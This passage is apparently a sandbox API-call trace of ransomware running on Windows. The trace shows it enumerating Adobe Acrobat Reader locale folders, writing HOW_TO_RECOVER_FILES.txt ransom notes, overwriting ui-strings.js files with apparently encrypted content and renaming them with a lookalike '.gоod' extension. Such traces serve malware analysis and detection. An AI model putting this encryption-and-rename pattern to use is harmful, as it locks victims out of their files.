nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0265.907] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.907] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0265.907] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0265.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0265.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0265.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0265.907] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il", lpFilePart=0x0) returned 0x76 [0265.907] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0265.907] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.908] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0265.908] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0265.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0265.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0265.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0265.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0265.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0266.155] GetFileType (hFile=0x768) returned 0x1 [0266.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0266.155] GetFileType (hFile=0x768) returned 0x1 [0266.591] WriteFile (in: hFile=0x768, lpBuffer=0x3ac4b48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3ac4b48*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0266.591] CloseHandle (hObject=0x768) returned 1 [0266.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0266.592] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x76 [0266.592] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0266.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0266.592] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0266.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0266.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0266.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0266.593] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr", lpFilePart=0x0) returned 0x76 [0266.593] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0266.593] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.593] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.593] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.593] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0266.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0266.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0266.594] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0266.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ad4a20 | out: lpFileInformation=0x3ad4a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472)) returned 1 [0266.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0266.594] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0266.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0266.594] GetFileType (hFile=0x768) returned 0x1 [0266.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0266.594] GetFileType (hFile=0x768) returned 0x1 [0266.594] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x472 [0266.595] ReadFile (in: hFile=0x768, lpBuffer=0x3ad5240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3ad5240*, lpNumberOfBytesRead=0x208ebf98*=0x472, lpOverlapped=0x0) returned 1 [0266.595] CloseHandle (hObject=0x768) returned 1 [0266.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0266.674] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.675] GetFileType (hFile=0x834) returned 0x1 [0266.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0266.675] GetFileType (hFile=0x834) returned 0x1 [0266.675] WriteFile (in: hFile=0x834, lpBuffer=0x38b4fe8*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38b4fe8*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0266.676] CloseHandle (hObject=0x834) returned 1 [0266.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0266.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0266.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9b29b89f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0266.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0266.676] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 [0266.678] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0266.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0266.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0266.678] GetFileType (hFile=0x834) returned 0x1 [0266.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0266.679] GetFileType (hFile=0x834) returned 0x1 [0266.679] WriteFile (in: hFile=0x834, lpBuffer=0x38b88e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x38b88e8*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0266.680] CloseHandle (hObject=0x834) returned 1 [0266.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0266.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x76 [0266.680] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0266.855] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.855] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.857] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0266.857] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0266.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0266.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0266.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0266.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu", lpFilePart=0x0) returned 0x76 [0266.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0266.885] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, 